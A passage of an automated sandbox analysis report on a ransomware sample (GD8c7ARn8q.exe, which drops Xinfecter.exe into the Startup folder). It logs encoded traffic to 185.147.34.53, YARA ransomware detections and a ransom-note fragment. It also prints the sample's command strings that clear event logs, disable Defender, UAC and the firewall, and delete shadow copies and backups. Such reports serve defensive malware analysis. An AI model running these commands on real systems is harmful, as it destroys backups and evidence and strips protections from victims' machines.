vAIZbMkTZbdNzrs5PBn7EoaljPm1FnU7pfaoFRih0vMfCZle5SOuiOERp7CSBUNdB4WA08N6g+t0AxNzzNbnNlQfs6UVg5xuIjpfUUJV/G1ydS+VyD6UAS3+7gqkJRRtwKBgQCtdaSI20MtLHdLU4/A7S8306QMRaxvF/WfQWet1LBmkgxD3f8ZenxjpxOXETntw7T+DNo3Bv+f1q6j8cbe999DJhMgJsrFuTCjmX2laHM3jAUlNuqIWEelXFELa7lzvTRxsceMm8JVojSUM58UamdWzp8BWbofZymH9bxzCXrB9w==&DOEXI*7.999268(2)2,d5Rdpdik6@gmail.com HTTP/1.1Host: 185.147.34.53Connection: close
      Source: Joe Sandbox ViewIP Address: 104.26.12.205 104.26.12.205
      Source: Joe Sandbox ViewIP Address: 104.26.12.205 104.26.12.205
      Source: Joe Sandbox ViewIP Address: 185.147.34.53 185.147.34.53
      Source: Joe Sandbox ViewASN Name: HOSTSLIM-GLOBAL-NETWORKNL HOSTSLIM-GLOBAL-NETWORKNL
      Source: unknownDNS query: name: api.ipify.org
      Source: unknownDNS query: name: api.ipify.org
      Source: unknownTCP traffic detected without corresponding DNS query: 185.147.34.53
      Source: unknownTCP traffic detected without corresponding DNS query: 185.147.34.53
      Source: unknownTCP traffic detected without corresponding DNS query: 185.147.34.53
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_00868D10 std::locale::_Init,WSAStartup,socket,gethostbyname,htons,connect,send,recv,recv,closesocket,WSACleanup,0_2_00868D10
      Source: global trafficHTTP traffic detected: GET / HTTP/1.1Accept: text/*User-Agent: YourUserAgentHost: api.ipify.org
      Source: global trafficHTTP traffic detected: GET /110_And_Netword_Drive_Size:0_Encryption_Mode:_Fast_Mode!Empty]_____03/10/2023,_10:57:18$_06/12/2024-_7:39:[Version_10.0.19045.2006|Microsoft_Windows_10_Prohg3l,8.46.123.228~L8ae3QDN5/7WEYRQdyd7gQP2QfCOGDk74FBdfsfVfUs/d2VqeET9biQgajvWB/f/SKX0rlUUELEFLCaUUUsINxq/5tO/AVLZJ9lisLMWYSCAlhhHPBSzG2sJNnlGWwQaJrjM7Vv2GQAWn8uL2kNPM4qCfAhq3CJcfYEm/cCOoLKHTOx3gAi032hSQDHsltQy88LYOIRtkvAvcemkN3zxaIJ8V1kWZtApiNwYy3ZZyfD4xnFnArQ9zNYxiEhpWowMcTfa2lJij1P5evjtRYU+Nn3hhVu7UX1N8nzj0Jn8RNVRQ7O70cjgrSNb3BXjp5+EjBRrcU3Wz+zj2DQ1Ny6GBcXtYJ12obHOpt1JJ0WHN5NYpfnbafnPxALaxlWdFDT2Vm5nWP5uI1rZI863jU2En8vlQQGnudH8g1ynDWKF9Rwv7UKb9D9v9awhB3yHwdjsB1YaXmb+/MjhEL4EvM1n8OyNj0dqPtO1vGva8Vlsks+ZaiHHtfYx39ZR5BPvbb4XII0J7x233xYh6PG1pG2CEzI8MqPv/KL5j2RsJnax/f8DRruBdno37NlcnW94eY1xWsegJ8jZ1mIGuA3udvlu2cY4EhXsZQ5nbXPmDAgERAoIBABxY9aJAazvV1HEk/1Cb6SbWJonSN/izOrTqIIM0CBwwCTKfWkGmD2d4sxkU9BEEwA4v4rt5AHsBYgntrs++axAbu0Km33+dhAc9XnxqdO1/Qcw8jCkSdrtxv4vOBhH1p4OG/W3MrvFdQrIl/TXfgBOKmo/ndBW+ODqRFKp8Ifl+ROTa9KkURg9rkY+eV+iAQd2dXgTwxjyLvhFAjEV8tVd+hQNn0/ovGzpx4if81otea9GSal97mYzLJ2eEbuDOIdnMch6sWfNhrAdtoPVbn14K+zRz7D7voPUJEprqCPUWi5BpG+s2E6+64FTy17I8wAeavoTPAeffjfog9IXgn/0CgYEA5/Y/MypYRjoNAdtFrwCrvlVGp9I7rJN+X/wJyfnIqifXGBPWt8lme7mtbPhUZNo9kS2wuOaYio5V35oTXz28Fgrndq5Y2YW2+ODagFzyqXuXU+Fer7WOzrMcG8gxzeiUKqLT1fHc8cPWtXqGVJXWtRpO05YlY/quh6RL5yUli1UCgYEA1L0p6HinOt3WjO90KoS8w6JZWz5ffWaBJ8uw/ibFbvfFZTHgmefkE6E2aiI34L5TFcZiCVg354nJgIQtnao515UsFQXfuEMmpIVkxE9ENdtVRgY//daPZMHeWhWZ5e9hmAv3+77+1s5X8eye2MKPrLYgEjLMg3qzlGmxM/SmYXcCgYEAo7zhUUsRIoNUecf09AB5Ow8EsrKEedGGYd8V9/uctFhbmIZ5cqxIV1Xj1HMOZU7CDCBAgoSn6VVpywNY9+9XlxbBgPOKAvT5oJ64Wpv2lcCnDgh/Ep5GsAX1uUIFCdFZh4H+8V9uyMZ5cQsxpR55cMdGs3kLVaHkm/uA32WD6eECgYBwoGF7ErLi7eoOYKbpVVTgCqfG5MkkRVNva9YsMqTCRvAIZbMkTZbdNzrs5PBn7EoaljPm1FnU7pfaoFRih0vMfCZle5SOuiOERp7CSBUNdB4WA08N6g+t0AxNzzNbnNlQfs6UVg5xuIjpfUUJV/G1ydS+VyD6UAS3+7gqkJRRtwKBgQCtdaSI20MtLHdLU4/A7S8306QMRaxvF/WfQWet1LBmkgxD3f8ZenxjpxOXETntw7T+DNo3Bv+f1q6j8cbe999DJhMgJsrFuTCjmX2laHM3jAUlNuqIWEelXFELa7lzvTRxsceMm8JVojSUM58UamdWzp8BWbofZymH9bxzCXrB9w==&DOEXI*7.999268(2)2,d5Rdpdik6@gmail.com HTTP/1.1Host: 185.147.34.53Connection: close
      Source: global trafficDNS traffic detected: DNS query: api.ipify.org
      Source: GD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000050F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://api.ipify.org
      Source: GD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000056F000.00000004.00000020.00020000.00000000.sdmp, GD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000058B000.00000004.00000020.00020000.00000000.sdmp, GD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000050F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://api.ipify.org/
      Source: GD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000058B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://api.ipify.org/&
      Source: GD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000050F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://api.ipify.org/3n
      Source: GD8c7ARn8q.exe, 00000000.00000002.2799316305.00000000004F9000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://api.ipify.org/A
      Source: GD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000056F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://api.ipify.org/Q7
      Source: GD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000056F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://api.ipify.org/X7
      Source: GD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000058B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://api.ipify.org/h
      Source: GD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000050F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://api.ipify.orgCn
      Source: GD8c7ARn8q.exe, Xinfecter.exe.0.drString found in binary or memory: https://www.coinbase.com/how-to-buy/bitcoin
      Source: GD8c7ARn8q.exe, Xinfecter.exe.0.drString found in binary or memory: https://www.kraken.com/learn/buy-bitcoin-btc

      Spam, unwanted Advertisements and Ransom Demands

      barindex
      Yara detected TrojanRansom
      Source: Yara matchFile source: Process Memory Space: GD8c7ARn8q.exe PID: 4584, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: Xinfecter.exe PID: 6916, type: MEMORYSTR
      Contains functionality to clear event logs
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"0_2_008847A9
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"0_2_0088C8D0
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"0_2_0088D7EF
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"43_2_00EE47A9
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"43_2_00EEC8D0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"43_2_00EED7EF
      Deletes shadow drive data (may be related to ransomware)
      Source: GD8c7ARn8q.exeBinary or memory string: reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic
      Source: GD8c7ARn8q.exe, 00000000.00000000.1552722123.0000000000943000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic shadowcopy delete&netsh advfirewall set currentprofile state off&netsh firewall set opmode mode=disable&netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes&wbadmin delete catalog -quiet
      Source: GD8c7ARn8q.exe, 00000000.00000000.1552722123.0000000000943000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: vssadmin.exe Delete Shadows /All /Quiet
      Source: GD8c7ARn8q.exe, 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic shadowcopy delete&netsh advfirewall set currentprofile state off&netsh firewall set opmode mode=disable&netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes&wbadmin delete catalog -quiet
      Source: GD8c7ARn8q.exe, 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: vssadmin.exe Delete Shadows /All /Quiet
      Source: GD8c7ARn8q.exe, 00000000.00000003.1576667078.0000000000539000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic shadowcopy delete&netsh advfirewall set currentprofile state off&netsh firewall set opmode mode=disable&netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes&wbadmin delete catalog -quiet
      Source: GD8c7ARn8q.exe, 00000000.00000003.1576667078.0000000000539000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 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" alt="Paris"></div></br><div class="fnt">Your Files Has Been <span class="xsw">Stolen</span> And <span class="xsw">Encrypted!</span></div></hr></br></br></br><div class="vl"><div class="Mrgnlf">All Your Files Are Locked And Important Data Downloaded !</br></br>Your Files Are No Longer Accessible Don't Waste Your Time, Without Our Decryption Program Nobody Can't Help You .</br></br>If Payment Isn't Made After A While We Will Sell OR Publis
      Source: GD8c7ARn8q.exe, 00000000.00000003.1576667078.0000000000539000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: vssadmin.exe Delete Shadows /All /Quiet
      Source: Xinfecter.exeBinary or memory string: reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic
      Source: Xinfecter.exe, 0000002B.00000002.1666041142.0000000000FA3000.00000002.00000001.01000000.00000008.sdmpBinary or memory string: reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic shadowcopy delete&netsh advfirewall set currentprofile state off&netsh firewall set opmode mode=disable&netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes&wbadmin delete catalog -quiet
      Source: Xinfecter.exe, 0000002B.00000002.1666041142.0000000000FA3000.00000002.00000001.01000000.00000008.sdmpBinary or memory string: vssadmin.exe Delete Shadows /All /Quiet
      Source: Xinfecter.exe, 0000002B.00000000.1662746841.0000000000FA3000.00000002.00000001.01000000.00000008.sdmpBinary or memory string: reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic shadowcopy delete&netsh advfirewall set currentprofile state off&netsh firewall set opmode mode=disable&netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes&wbadmin delete catalog -quiet
      Source: Xinfecter.exe, 0000002B.00000000.1662746841.0000000000FA3000.00000002.00000001.01000000.00000008.sdmpBinary or memory string: vssadmin.exe Delete Shadows /All /Quiet
      Source: GD8c7ARn8q.exeBinary or memory string: reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic shadowcopy delete&netsh advfirewall set currentprofile state off&netsh firewall set opmode mode=disable&netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes&wbadmin delete catalog -quiet
      Source: GD8c7ARn8q.exeBinary or memory string: vssadmin.exe Delete Shadows /All /Quiet
      Source: S-6748.bat.0.drBinary or memory string: vssadmin.exe Delete Shadows /All /Quiet
      Source: Xinfecter.exe.0.drBinary or memory string: reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic shadowcopy delete&netsh advfirewall set currentprofile state off&netsh firewall set opmode mode=disable&netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes&wbadmin delete catalog -quiet
      Source: Xinfecter.exe.0.drBinary or memory string: vssadmin.exe Delete Shadows /All /Quiet

      System Summary

      barindex
      Windows Scripting host queries suspicious COM object (likely to drop second stage)
      Source: C:\Windows\SysWOW64\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
      Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}
      Writes or reads registry keys via WMI
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
      Source: C:\Windows\System32\find.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008ECFE0: CreateFileW,DeviceIoControl,CloseHandle,0_2_008ECFE0
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile created: C:\Windows\SysMain.sysJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile created: C:\Windows\SysMain.sysJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008847A90_2_008847A9
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0088C8D00_2_0088C8D0
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_00874E200_2_00874E20
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008693000_2_00869300
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008F42650_2_008F4265
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008D43F00_2_008D43F0
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_009185C60_2_009185C6
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008706F80_2_008706F8
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008A46000_2_008A4600
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008C87200_2_008C8720
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008D48900_2_008D4890
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008A08000_2_008A0800
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008C89200_2_008C8920
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_00868AE00_2_00868AE0
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_00878A300_2_00878A30
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008F4A540_2_008F4A54
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008C8BC00_2_008C8BC0
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_00878B700_2_00878B70
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008CCF450_2_008CCF45
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008D50500_2_008D5050
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008D52F00_2_008D52F0
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_009312740_2_00931274
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008653300_2_00865330
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008A15800_2_008A1580
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008F95CC0_2_008F95CC
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008CD6BF0_2_008CD6BF
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008A96100_2_008A9610
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008C57270_2_008C5727
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008C57340_2_008C5734
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_009097600_2_00909760
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_009099D20_2_009099D2
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008C5ABD0_2_008C5ABD
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008B1A300_2_008B1A30
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008CDA460_2_008CDA46
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008A5B800_2_008A5B80
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0086DB000_2_0086DB00
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008CDCD70_2_008CDCD7
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008A1DB00_2_008A1DB0
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_00909D440_2_00909D44
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_00929FE90_2_00929FE9
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_00909FEE0_2_00909FEE
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008DA0880_2_008DA088
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008CE1100_2_008CE110
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008762800_2_00876280
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0090A2B50_2_0090A2B5
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0087A2AA0_2_0087A2AA
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_009222ED0_2_009222ED
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0087E2700_2_0087E270
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008C64060_2_008C6406
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0091A4500_2_0091A450
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0090A5700_2_0090A570
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008C662A0_2_008C662A
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008AAA400_2_008AAA40
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008C6A6D0_2_008C6A6D
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008B2B500_2_008B2B50
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008C6EC80_2_008C6EC8
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0087EFB00_2_0087EFB0
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0091F08B0_2_0091F08B
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008F71D80_2_008F71D8
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008772E70_2_008772E7
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0087B6D00_2_0087B6D0
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008A3A800_2_008A3A80
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0086BAB00_2_0086BAB0
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0091BBFB0_2_0091BBFB
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0087FCE00_2_0087FCE0
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_00913D230_2_00913D23
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008EFD700_2_008EFD70
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0090BF970_2_0090BF97
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008D3FE00_2_008D3FE0
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_00913F520_2_00913F52
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00EE47A943_2_00EE47A9
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00EEC8D043_2_00EEC8D0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00ED4E2043_2_00ED4E20
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F3A08843_2_00F3A088
